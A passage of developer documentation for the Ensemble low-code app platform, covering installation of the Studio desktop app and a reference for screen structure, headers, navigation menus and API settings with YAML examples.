Firebase](#setting-up-authentication-with-firebase) + - [Setting up Authentication with Auth0](#setting-up-authentication-with-auth0) +- **Moengage** + - [MoEngage Integration](#moengage-integration) +- [Adobe Analytics](#adobe-analytics) +- **Deep Link** + - [Setup Deeplink](#setup-deeplink) + - [Setup Deferred Deeplink](#setup-deferred-deeplink) +- **Extending Ensemble** + - [Embed Flutter screen in an Ensemble app](#embed-flutter-screen-in-an-ensemble-app) + - [Using local assets](#using-local-assets) +- **Concepts** + - [Understanding Widget Sizing](#understanding-widget-sizing) + - [Item Template](#item-template) + - [Data Binding](#data-binding) + - [Screen Lifecycle](#screen-lifecycle) + - [Custom Widgets](#custom-widgets) +- **Test** + - [Preview your app](#preview-your-app) + - [Automated Testing](#automated-testing) +- **Deploy** + - [Preparing your App for deployment](#preparing-your-app-for-deployment) + - [Configure Social Sign In for Deployment](#configure-social-sign-in-for-deployment) + - [Deploy to iOS TestFlight](#deploy-to-ios-testflight) + - [Connecting to OAuth services (Optional)](#connecting-to-oauth-services-optional) + - [Deploy to Android devices](#deploy-to-android-devices) + - [Deploy to Android Play Store](#deploy-to-android-play-store) + - [Prepare for Production](#prepare-for-production) + - [Making your app work when offline](#making-your-app-work-when-offline) + - [Guide: Generating Google Play Console API Key](#guide-generating-google-play-console-api-key) + - [Guide: Generating API Key for App Store Connect](#guide-generating-api-key-for-app-store-connect) + - [Guide: Generating a Firebase Service Account for App Distribution](#guide-generating-a-firebase-service-account-for-app-distribution) +- [Host and serve your app definition on your own server](#host-and-serve-your-app-definition-on-your-own-server) +- **Widgets** + - [Accordion Widget](#accordion-widget) + - [Avatar widget](#avatar-widget) + - [Button widget](#button-widget) + - [Calendar widget](#calendar-widget) + - [Carousel widget](#carousel-widget) + - [ChartJS widget](#chartjs-widget) + - [Checkbox widget](#checkbox-widget) + - [Column widget](#column-widget) + - [Conditional widget](#conditional-widget) + - [ConfirmationInput widget](#confirmationinput-widget) + - [DataGrid widget](#datagrid-widget) + - [Date widget](#date-widget) + - [Divider](#divider) + - [DropDown widget](#dropdown-widget) + - [FittedColumn (deprecated)](#fittedcolumn-deprecated) + - [FittedRow (deprecated)](#fittedrow-deprecated) + - [FlexColumn](#flexcolumn) + - [FlexRow](#flexrow) + - [Flex](#flex) + - [Flow](#flow) + - [Form widget](#form-widget) + - [GridView](#gridview) + - [HTML widget](#html-widget) + - [Icon widget](#icon-widget) + - [Finding supported icons and their library](#finding-supported-icons-and-their-library) + - [Image widget](#image-widget) + - [InlineTimePicker Widget](#inlinetimepicker-widget) + - [ListView](#listview) + - [LoadingContainer Widget](#loadingcontainer-widget) + - [Lottie Animation widget](#lottie-animation-widget) + - [Map widget](#map-widget) + - [Markdown widget](#markdown-widget) + - [Multi-Child Layout widgets](#multi-child-layout-widgets) + - [PasswordInput widget](#passwordinput-widget) + - [Profile Image Widget](#profile-image-widget) + - [Progress Indicator](#progress-indicator) + - [QRCodeScanner widget](#qrcodescanner-widget) + - [QR-Code widget](#qr-code-widget) + - [RadioButton](#radiobutton) + - [RadioGroup](#radiogroup) + - [ensemble.RatingStars widget](#ensembleratingstars-widget) + - [Row](#row) + - [Shape Widget](#shape-widget) + - [Signature Widget](#signature-widget) + - [Slidable Widget](#slidable-widget) + - [Slider Widget](#slider-widget) + - [Spacer](#spacer) + - [Stack](#stack) + - [Staggered Grid](#staggered-grid) + - [Switch widget](#switch-widget) + - [TabBar](#tabbar) + - [TextInput widget](#textinput-widget) + - [Text widget](#text-widget) + - [Time widget](#time-widget) + - [TripleSwitch widget](#tripleswitch-widget) + - [Type References](#type-references) + - [Video widget](#video-widget) + - [WebView widget](#webview-widget) + - [Youtube](#youtube) +- [Composite Widgets](#composite-widgets) +- **Actions** + - [authenticateByBiometric](#authenticatebybiometric) + - [BLE Client](#ble-client) + - [callExternalMethod](#callexternalmethod) + - [checkPermission](#checkpermission) + - [readKeychain](#readkeychain) + - [saveKeychain](#savekeychain) + - [clearKeychain](#clearkeychain) + - [closeAllDialogs](#closealldialogs) + - [connectWallet](#connectwallet) + - [copyToClipboard](#copytoclipboard) + - [Device Security](#device-security) + - [Actions](#actions) + - [dispatchEvent action](#dispatchevent-action) + - [executeActionGroup](#executeactiongroup) + - [executeCode](#executecode) + - [executeConditionalAction](#executeconditionalaction) + - [getLocation](#getlocation) + - [getNetworkInfo](#getnetworkinfo) + - [getPhoneContacts](#getphonecontacts) + - [invokeAPI](#invokeapi) + - [invokeHaptic](#invokehaptic) + - [logEvent](#logevent) + - [Action: navigateBack](#action-navigateback) + - [navigateModalScreen](#navigatemodalscreen) + - [navigateScreen](#navigatescreen) + - [navigateViewGroup](#navigateviewgroup) + - [notification](#notification) + - [onNavigateBack](#onnavigateback) + - [Action: onViewGroupResume](#action-onviewgroupresume) + - [Action: onViewGroupUpdate](#action-onviewgroupupdate) + - [openAppSettings](#openappsettings) + - [openCamera](#opencamera) + - [openPlaidLink](#openplaidlink) + - [openUrl](#openurl) + - [pauseAudio](#pauseaudio) + - [pickFiles](#pickfiles) + - [playAudio](#playaudio) + - [Pull To Refresh](#pull-to-refresh) + - [rateApp](#rateapp) + - [requestNotificationAccess](#requestnotificationaccess) + - [resumeAudio](#resumeaudio) + - [saveFile](#savefile) + - [seekAudio](#seekaudio) + - [getSecureStorage](#getsecurestorage) + - [setSecureStorage](#setsecurestorage) + - [clearSecureStorage](#clearsecurestorage) + - [Share](#share) + - [showBottomModal](#showbottommodal) + - [showDialog](#showdialog) + - [showNotification](#shownotification) + - [showToast](#showtoast) + - [startTimer](#starttimer) + - [stopAudio](#stopaudio) + - [stopTimer](#stoptimer) + - [takeScreenshot](#takescreenshot) + - [uploadFiles](#uploadfiles) +- **Utilities** + - [Formatter](#formatter) + - [Device](#device) +- **Device Capabilities** + - [checkPermission](#checkpermission) + - [getLocation](#getlocation) + - [getPhoneContacts](#getphonecontacts) + - [invokeAPI](#invokeapi) + - [invokeHaptic](#invokehaptic) + - [navigateBack](#navigateback) + - [navigateModalScreen](#navigatemodalscreen) + - [navigateScreen](#navigatescreen) + - [notification](#notification) + - [openCamera](#opencamera) + - [pickFiles](#pickfiles) + - [rateApp](#rateapp) + - [requestNotificationAccess](#requestnotificationaccess) + - [Share](#share) + - [showDialog](#showdialog) + - [showNotification](#shownotification) + - [uploadFiles](#uploadfiles) +- **Javascript Reference** + - [Add logic using JavaScript](#add-logic-using-javascript) + - [JavaScript Date](#javascript-date) + - [Ensemble Objects and their properties](#ensemble-objects-and-their-properties) + - [Exception Handling in Javascript](#exception-handling-in-javascript) + - [Defining and Re-using Javascript Code](#defining-and-re-using-javascript-code) + - [console.log](#consolelog) + - [JSON](#json) + - [JsonPath](#jsonpath) + - [Object](#object) + - [JavaScript Math](#javascript-math) + - [Number Functions](#number-functions) + - [String Functions](#string-functions) +- [AppInfo object](#appinfo-object) +- [Device object](#device-object) +- **Tips and Tricks** + - [Getting help from Ensemble team](#getting-help-from-ensemble-team) + - [Custom BottomNavBar item styling](#custom-bottomnavbar-item-styling) + - [Building responsive UIs](#building-responsive-uis) + - [Use device's camera for updating profile picture](#use-devices-camera-for-updating-profile-picture) + - [Inputs to ChartJs](#inputs-to-chartjs) + - [How to modify the BottomNavBar with custom styling and widgets](#how-to-modify-the-bottomnavbar-with-custom-styling-and-widgets) + - [Open Maps with Coordinates on Android and iOS](#open-maps-with-coordinates-on-android-and-ios) + - [Using navigate Screen with BottomNavBar](#using-navigate-screen-with-bottomnavbar) + - [Dynamic Color Modification in JavaScript](#dynamic-color-modification-in-javascript) + - [Configuring BottomNavBar Icons](#configuring-bottomnavbar-icons) + - [Invoke Haptics](#invoke-haptics) + - [Custom Lottie Animations with Events and Controls](#custom-lottie-animations-with-events-and-controls) + - [HTML Widget with maxLines Support and Enhanced Styling](#html-widget-with-maxlines-support-and-enhanced-styling) + - [Push Notification](#push-notification) + - [Using device width and height](#using-device-width-and-height) + - [Using BottomSafeArea for Responsive Layouts](#using-bottomsafearea-for-responsive-layouts) + - [Floating Button](#floating-button) + - [Creating an Avatar](#creating-an-avatar) + - [Cookies in Webview](#cookies-in-webview) + - [adding this timer here just so that we can delay closing the dialog](#adding-this-timer-here-just-so-that-we-can-delay-closing-the-dialog) + - [General Color for All Buttons across an App](#general-color-for-all-buttons-across-an-app) + - [Icon Without Label](#icon-without-label) + - [Profile Picture](#profile-picture) + - [Specify library icons for start and end](#specify-library-icons-for-start-and-end) + - [No Bounded Width Error](#no-bounded-width-error) + - [No Bounded Height Error](#no-bounded-height-error) + - [FlexRow No Bounded Width Error](#flexrow-no-bounded-width-error) + - [FlexColumn No Bounded Height Error](#flexcolumn-no-bounded-height-error) + +# Studio overview + +Ensemble Studio is where you can build, test, and publish apps. You can invite your team to collaborate on the same app. + +https://studio.ensembleui.com + +--- + +# Ensemble Studio Desktop App + +## When to use the desktop app + +1. If you wish to use your own git to store your app definition - this allows you to create branches and pull requests. +2. If you wish to work offline and without internet connection + +## Installation & Setup + +### Windows + +1. Download the Windows installer [here](https://storage.googleapis.com/ensemble-web-studio.appspot.com/desktop_app/latest/win32/x64/ensemble-web-studio-x64.exe): + +2. Run the downloaded `.exe` file +3. Launch Ensemble Web Studio +4. **Note:** Microsoft Defender SmartScreen may display a warning +Step 1: You will see a "Windows protected your PC" message. +Step 2: Click "More info" text to reveal additional options. +Step 3: Click "Run anyway" button to proceed with the installation. +Once confirmed, the application will open. + +### macOS + +1. Download the macOS package [here](https://storage.googleapis.com/ensemble-web-studio.appspot.com/desktop_app/latest/darwin/arm64/ensemble-web-studio-arm64.dmg): +2. Run the downloaded `.dmg` file +3. Move the application to your Applications folder +4. Launch Ensemble Studio + +## Environment Modes + +You can switch between Local and Development modes using the environment dropdown available on **home and every app page**: + +### Development Mode + +Development mode connects to the cloud environment: + +- Files are stored in Firebase +- Requires internet connection +- Changes are synchronized with other collaborators +- Suitable for real-time collaboration + +### Local Mode + +Local mode allows you to work completely offline with files stored on your local machine: + +- Files are stored in your system's user directory +- No internet connection required +- Changes are saved locally +- Connect the local folder to a git provider to create branches and pull requests +- Perfect for offline development or testing + +Local files location by operating system: + +- Windows: `%APPDATA%/ensemble-web-studio` +- macOS: `~/Library/Application Support/ensemble-web-studio` + +Note: + +- You can switch between modes at any time using the dropdown +- The selected mode affects where your changes are saved +- Each mode maintains its own version of the files +- Remember to use Pull/Push operations when you want to sync between modes + +## Synchronization + +### Pulling from Cloud to Local + +To work with an app locally: + +1. Launch the desktop application +2. Click on the `...` menu button on the app card you want to work with +3. Select "Pull App" from the context menu +4. Select the target directory and click the `Pull` Button +5. Wait for the pull to complete + +### Pushing Local Changes to Cloud + +To push your local changes back to the cloud: + +1. Launch the desktop application +2. Click on the `...` menu button on the app card you want to work with +3. Select "Push App" from the context menu +4. Wait for your changes to push on the cloud + +## Local File Structure + +When working in local mode, files are organized as follows: + +```directory +/ +├── assets/ +├── fonts/ +├── scripts/ +├── widgets/ +├── screens/ +├── translations/ +├── config/ +│ ├── appConfig.json +│ ├── secrets.json +├── theme.yaml +├── .manifest.json +``` + +Key location: + +- `manifest.json`: App configuration and settings + +## Additional Resources + +For more information or support, join the [Discord community](https://discord.gg/cEHkJTmn75) or refer to the official documentation. + +--- + +# Ensemble Screen Structure + +Ensemble apps are built using a collection of screens, along with reusable components like [widgets](#widgets-directory), [scripts](#defining-and-re-using-javascript-code), [assets](#assets-images-videos-etc), etc. This guide explores the core structure of an Ensemble screen and the elements that make it up. + +**Key Components of Screen:** +This section serves as a reference point for the key elements you'll encounter while creating a screen on Ensemble: + +- [View](#view): The fundamental building block for screen content and layout. +- [ViewGroup](#view-group): A container for managing and arranging multiple views. +- [Header](#header): Optional element for displaying titles, navigation, or controls at the top of the screen. +- [Menu](#menu): Optional element for user navigation within the app. +- [Body](#body): Main content area of a screen, typically containing widgets. +- [API](#api): The collection of functions and tools provided by Ensemble for building your app. +- [Global](#global): Elements or functionalities accessible across all screens in your app. + +Below is the overview of the basic components being arranged on the screen. + +

    +Page Skeleton +

    + +## View Group + +The ViewGroup widget allows you to group multiple Views together and organize them behind a menu, such as a Drawer, EndDrawer, BottomNavBar, SideBar, or EndSidebar. This provides a convenient way to create structured layouts and navigation within your application. + +### Example + +Let's look at an example with a `Bottom Navigation Bar` menu type. + +```yaml +ViewGroup: + BottomNavBar: + styles: + backgroundColor: white + items: + - icon: search + label: Search + page: Home + - icon: assignment + label: Appointments + page: MyAppointments + - icon: list + label: My Doctors + page: MyDoctors + - icon: account_circle + label: Profile + page: Profile +``` + +##### Output + +

    +BottomNavBar +

    + +> To get hands-on experience with View Group, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/3vEZBIhDyYnIQo6BLN2O/screen/Wewvp6ZUyb0PBwkTAltQ?propertyPanelEnabled=true&instantPreviewDisabled=false) + +## View + +The View widget defines the overall structure of a page, including properties like header, body and more, to create a cohesive layout and presentation within your application. View requires only body while other components like [header](#header) and [menu](#menu) are optional. + +#### Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| header | object | [details](#header) | +| body | object | [details](#body) | +| onLoad | action | Execute an Action from a set of pre-defined set of actions when the screen loads | +| onPause | action | Execute an Action when this screen is no longer active. This happens when another screen navigates on top of this screen, or when the App (Native only) is no longer in the foreground. | +| onResume | action | Execute an Action when this screen becomes active again from the inactive state. This happens when navigating back from another screen, or when the App (Native only) is brought back to the foreground. | +| options | string | Specify if this is a `regular` (default) or `modal` screen. | +| styles | object | [see properties](#viewstyles) | + +#### View.styles + +| Property | Type | Description | +| :--------------------- | :------------------------------------------------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | [Color](#color) | Background color for the screen starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| backgroundImage | [BackgroundImage](#backgroundimage) | Background image of the View. | +| useSafeArea | boolean | Applicable only when we don't have a header. If true, insert paddings around the body content to account for the devices' Safe Area (e.g. iPhone notch). Default is false. | +| scrollableView | boolean | Specify if the content of this screen is scrollable with a global scrollbar. Using this also allows you to customize the scrolling experience of the header. | +| showNavigationIcon | boolean | For a screen with header, the App will automatically show the Menu, Back, or Close icon (for the modal screen) before the title. On the modal screen without the header, the Close icon will be shown. Set this flag to false if you wish to hide the icons and handle the navigation yourself. | +| navigationIconPosition | string | On modal screen without a header, you can position the close button at the `start` or `end` of the screen. For left-to-right languages like English, start is on the left and end is on the right. This property has no effect on a screen with header. | + +## Header + +The header contains the Safe Area (e.g. iPhone notch) and by default has the background color of your theme's primaryColor. It includes: + +1. `navigation icon`. If a drawer menu is used the system will automatically show an icon to open/close the drawer, otherwise if this page can navigate back to the previous page, the back arrow will be shown. If neither condition is true, the icon will not be visible, in which case the title will stretch to fill the entire horizontal space. +2. `title`. Its simplest form is a string which is the title text. You may override it with a custom widget. +3. `flexible background`. Specifies a widget that will fill the entire header (including the notch). This is typically used as a background for the header. This widget will be laid out first, with the navigation icon and the title overlay on top. + +#### Properties + +| Property | Type | Description | +| :----------------- | :----------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| titleText | string | The title for the screen | +| titleWidget | [Widget](#widget-directory) | Render this widget as the screen title | +| styles | object | [see properties](#headerstyles) | +| flexibleBackground | [Widget](#widget-directory) | This widget (typically used as an background image) acts as the header's background, with the title bar and the bottom widget overlaid on top. On non-scrollable screen, its dimensions is dictated by the header's width and height. | + +#### Header.styles + +| Property | Type | Description | +| :---------------- | :---------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | [Color](#color) | By default the background color uses the theme's 'primary' color. You can override the header's background color here. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| color | [Color](#color) | By default the navigation icon, title, and action icons uses the theme's 'onPrimary' color. You can override their colors here. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevation | integer | Raise the header on its z-coordinates relative to the body. This effectively creates a drop shadow on the header's bottom edge. Minimum value: 0, Maximum value: 24 | +| shadowColor | [Color](#color) | If elevation is non-zero, this will override the drop shadow color of the header's bottom edge, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| centerTitle | boolean | Whether to align the title in the title bar's center horizontally (default: true) | +| titleBarHeight | integer | For consistency, the header's title bar has the default fixed height of 56 regardless of its content. You may adjust its height here. Minimum value is `0` | +| flexibleMinHeight | integer | Applicable only if scrollableView is enabled. This attribute effectively sets the header's min height on scrolling (header's height will varies between the flexibleMinHeight and flexibleMaxHeight). Note that this attribute will be ignored if smaller than the titleBarHeight | +| flexibleMaxHeight | integer | Applicable only if scrollableView is enabled. This attribute effectively sets the header's max height on scrolling (header's height will varies between the flexibleMinHeight and flexibleMaxHeight). This attribute will be ignored if smaller than the flexibleMinHeight | +| animation | object | [see properties](#headerstylesanimation) | +| scrollMode | enum | Specify if header stays `pinned` or goes up `floating`, when page is scrolled up. | +> Note: When the entire View is specified as scrollable, flexible background's height can vary in height (hence flexible) on scroll with a parallax effect. + +#### Header.styles.animation + +| Property | Type | Description | +| :---------------- | :---------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| enabled | boolean | Animation behaviour `true` or `false`. | +| duration | integer | Specify time in `milliseconds` for which animation must play. | +| curve | string | Specify animation curve like `easeIn` `easeOut` or `linear`. | +| animationType | enum | Specify animation type that'll play when scrolled such as `fade` or `drop`. default value: `drop`. | +## Menu + +Ensemble provides support for five menu types that offer extensive customization options, including the ability to add custom items which are indeed `custom widgets`. These menu types allow users to meet their unique design needs or client requirements. Below, you will find detailed information about each menu type, including the supported properties, styles, and illustrative examples for better understanding. + +### BottomNavBar + +This is the navigation bar at the bottom of the screen, typical of most iOS and Android apps. Where each item has several properties as explained [below](#bottomnavbaritems). + +#### BottomNavBar.Properties + +| Property | Type | Description | +| :------- | :--------------- | :------------------------------------------------------------------- | +| items | array of objects | List of menu items (minimum 2). [see properties](#bottomnavbaritems) | +| styles | object | [see properties](#bottomnavbarstyles) | + +#### BottomNavBar.items + +| Property | Type | Description | +| :---------------------- | :---------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| icon | string | Icon name from ` Material Icons``Font Awesome``Remix ` or `custom font icons`. | +| iconLibrary | string | Enables the usage of various icon libraries like `FontAwesome`, `Remix`, `Material Icons` or `custom icon` fonts within ensemble. | +| label | string | Defines the text displayed below the icon, providing a descriptive title or name for the menu item | +| page | string | The new page to navigate to on click | +| selected | boolean | Mark this item as selected. There should only be one selected item per page. | +| visible | boolean | Mark this item as visible. Default is `true` | +| floating | boolean | Mark this item as a floating icon | +| floatingMargin | integer or string | The margin around the floating. | +| floatingAlignment | string | How to align the floating in the BottomNavBar. The values are ` left``center``right ` and `none` | +| color | [Color](#color) | Unselected icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| selectedColor | [Color](#color) | Selected icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| backgroundColor | [Color](#color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| floatingBackgroundColor | [Color](#color) | Floating item background color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| floatingIconColor | [Color](#color) | Floating item icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| customItem | object | Allows user to use custom widgets for two states `selected` and `UnSelected`. | + +##### BottomNavBar.items.customItem + +| Property | Type | Description | +| :------------- | :----------------- | :----------------------------------------------------- | +| widget | [Widget](#widget-directory) | Custom bottom navigation item for the unselected state | +| selectedWidget | [Widget](#widget-directory) | Custom bottom navigation item for the selected state | + +#### BottomNavBar.styles + +| Property | Type | Description | +| :-------------- | :---------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | [Color](#color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +#### Example + +```yaml +BottomNavBar: + styles: + backgroundColor: white + color: grey + selectedColor: orange + floatingBackgroundColor: orange + floatingIconColor: white + items: + - label: Home + activeIcon: home + icon: home + page: Home + + - customItem: + widget: CustomNavBarItem + selectedWidget: ActiveCustomNavBarItem + page: Icon + + - icon: note_add + floating: true + floatingAlignment: center + floatingMargin: 5 + onTap: | + //@code + ensemble.navigateScreen('Lottie'); + + - icon: search + label: Search + page: Image + visible: true + + - customItem: + widget: CustomNavBarItemWithImage + selectedWidget: ActiveCustomNavBarItemWithImage + page: WeeklyScheduler +``` + +This sippet has example for how user can utilize + +1. Custom widgets as items for the menu +2. Floating icons + +> To get hands-on experience with BottomNavBar, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/aa634599-cd5d-411c-a4b6-1163f3b5c558). + +### Drawer + +This menu type puts the menu behind a drawer icon on the header. The drawer icon will be positioned to the 'start' of the header (left for most languages, right for RTL languages). The drawer can be controlled programmatically using the `openDrawer` and `closeDrawer` actions. + +#### Drawer.Properties + +| Property | Type | Description | +| :------- | :--------------- | :-------------------------------------------------------- | +| header | widget | Custom widget to be displayed at the top of the drawer | +| footer | widget | Custom widget to be displayed at the bottom of the drawer | +| items | array of objects | List of menu items. [see properties](#draweritems) | +| styles | object | [see properties](#drawerstyles) | + +#### Drawer.items + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------ | +| icon | string | Icon name from `Material Icons`, `Font Awesome`, `Remix` or custom font icons | +| activeIcon | string | Icon to display when the item is selected. Falls back to `icon` if not specified | +| iconLibrary | string | Specify icon library: `FontAwesome`, `Remix`, `Material Icons` or custom icon fonts | +| label | string | Text displayed next to the icon | +| page | string | The page to navigate to when clicked | +| selected | boolean | Mark this item as selected. Only one item should be selected per page | +| visible | boolean | Whether the item should be shown. Default is `true` | +| isClickable | boolean | Whether the item can be interacted with. Useful for section headers. Default is `true` | +| switchScreen | boolean | Whether to navigate to the specified page when clicked. Default is `true` | +| onTap | action | Custom action to execute when item is tapped. Executes before page navigation if `switchScreen` is true | +| customItem | object | Allows using custom widgets for menu items. [see properties](#draweritemscustomitem) | + +#### Drawer.items.customItem + +| Property | Type | Description | +| :------------- | :----- | :---------------------------------------- | +| widget | widget | Custom drawer item for the normal state | +| selectedWidget | widget | Custom drawer item for the selected state | + +#### Drawer.styles + +| Property | Type | Description | +| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +#### Example + +```yaml +View: + header: + title: Drawer Example + leadingWidget: + Icon: + name: menu + onTap: + openDrawer: + menu: + Drawer: + styles: + backgroundColor: white + header: + Column: + styles: + height: 200 + padding: 16 + backgroundColor: "#1a1f2b" + children: + - Text: + text: "User Name" + styles: + textStyle: + color: white + fontSize: 24 + footer: + Column: + styles: + padding: 16 + backgroundColor: "#1a1f2b" + children: + - Text: + text: "App Version 1.0.0" + styles: + textStyle: + color: grey + + items: + # Section header (non-clickable) + - label: "Main Menu" + isClickable: false + + # Regular menu item + - label: "Home" + icon: home + page: home + + # Custom menu item + - customItem: + widget: CustomDrawerItem + page: settings + + # Item with custom action + - label: "Share App" + icon: share + switchScreen: false + onTap: + closeDrawer: +``` + + +You can program either drawer using these actions: +- `openDrawer`: Opens the drawer programmatically +- `closeDrawer`: Closes the currently open drawer + +The drawer can be opened/closed from any widget's `onTap` or other action handlers: + +```yaml +Button: + label: Open Menu + onTap: + openDrawer: +``` + +> Note: Only one drawer (either Drawer or EndDrawer) can be open at a time. If both drawer types are configured, the app-level drawer takes precedence over screen-level drawers. + +##### Output + +

    +Page Skeleton +Page Skeleton +

    + +> To get hands-on experience with Drawer, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/0073ebe9-6b0b-4ebf-9e8b-72a93a1275df#) + +### End Drawer + +Similar to Drawer but the drawer icon will be positioned to the 'end' of the header (right for most languages, left for RTL languages). You can check its properties [here](#drawerproperties). + +> To get hands-on experience with End Drawer, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/YIcCi9aXiGJKftQRNi34#) + +### SideBar + +A fixed navigation menu to the 'start' of the screen (left for most languages, right for RTL languages). The menu may become a drawer menu on lower resolution or screen sizes. + +#### Sidebar.Properties + +| Property | Type | Description | +| :------- | :--------------- | :-------------------------------------------------------------- | +| header | widget | The header widget for the menu | +| footer | widget | The footer widget for the menu | +| items | array of objects | List of menu items (minimum 2). [see properties](#sidebaritems) | +| styles | object | [see properties](#sidebarstyles) | + +#### Sidebar.items + +| Property | Type | Description | +| :---------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------- | +| icon | string | Icon name from ` Material Icons``Font Awesome``Remix ` or `custom font icons`. | +| iconLibrary | string | Enables the usage of various icon libraries like `FontAwesome`, `Remix`, `Material Icons` or `custom icon` fonts within ensemble. | +| label | string | Defines the text displayed below the icon, providing a descriptive title or name for the menu item | +| page | string | The new page to navigate to on click | +| selected | boolean | Mark this item as selected. There should only be one selected item per page. | +| visible | boolean | Mark this item as visible. Default is `true` | + +#### Sidebar.styles + +| Property | Type | Description | +| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | The thickness of the border | +| borderColor | integer or string | Color of the border, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| itemDisplay | string | How to render each navigation item. `stacked` `sideBySide` | +| itemPadding | integer or string | Padding for each navigation item with CSS-style value | +| minWidth | integer | The minimum width for the menu (default 200) | + +#### Example + +An example on how to use Sidebar menu. + +```yaml +View: + title: Sidebar menu + menu: + Sidebar: + items: + - label: Home + icon: home + page: Home + - label: Button + icon: input + page: Button + + Column: + styles: { gap: 16, padding: 24, scrollable: true } + children: + - Markdown: + text: | + This page includes menu displayed as Sidebar +``` + +##### Output + +

    +Page Skeleton +

    + +> To get hands-on experience with Sidebar, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/QZyoRkHHrHEAkGJMwoNU#) + +## Body + +The View requires a single widget defined as its child. This will act as the body content, and can only be a Column, Row, Flex, or Stack widget. + +## API + +API provides a convenient way to interact with external services or data sources, allowing developers to make HTTP requests, access data, and integrate various functionalities into their applications. + +#### Properties + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------------ | +| method | String | The HTTP method of the request, such as `GET`, `POST`, `DELETE`, `PUT`, `PATCH` | +| uri | String | The URI for the request | +| body | Object | The request body | +| headers | Object | The headers for the request | +| onResponse | Action | The action to handle the response | +| onError | Action | The action to handle errors | +| inputs | Array | The input values | + +> To learn about API's in detail, click [here](#invokeapi) + +## Global + +Global enables users to declare or define functions and variables which can be accessed globally inside the whole screen in every widget. In simple words its scope ig `global` just like a normal JavaScript `Global Execution Context` where users can access these functions anywhere in the screen. + +**Example** + +```yaml +View: + header: + title: "Code: Global functions" + styles: + scrollableView: true + Column: + styles: { gap: 16, padding: 24 } + children: + - TextInput: + id: 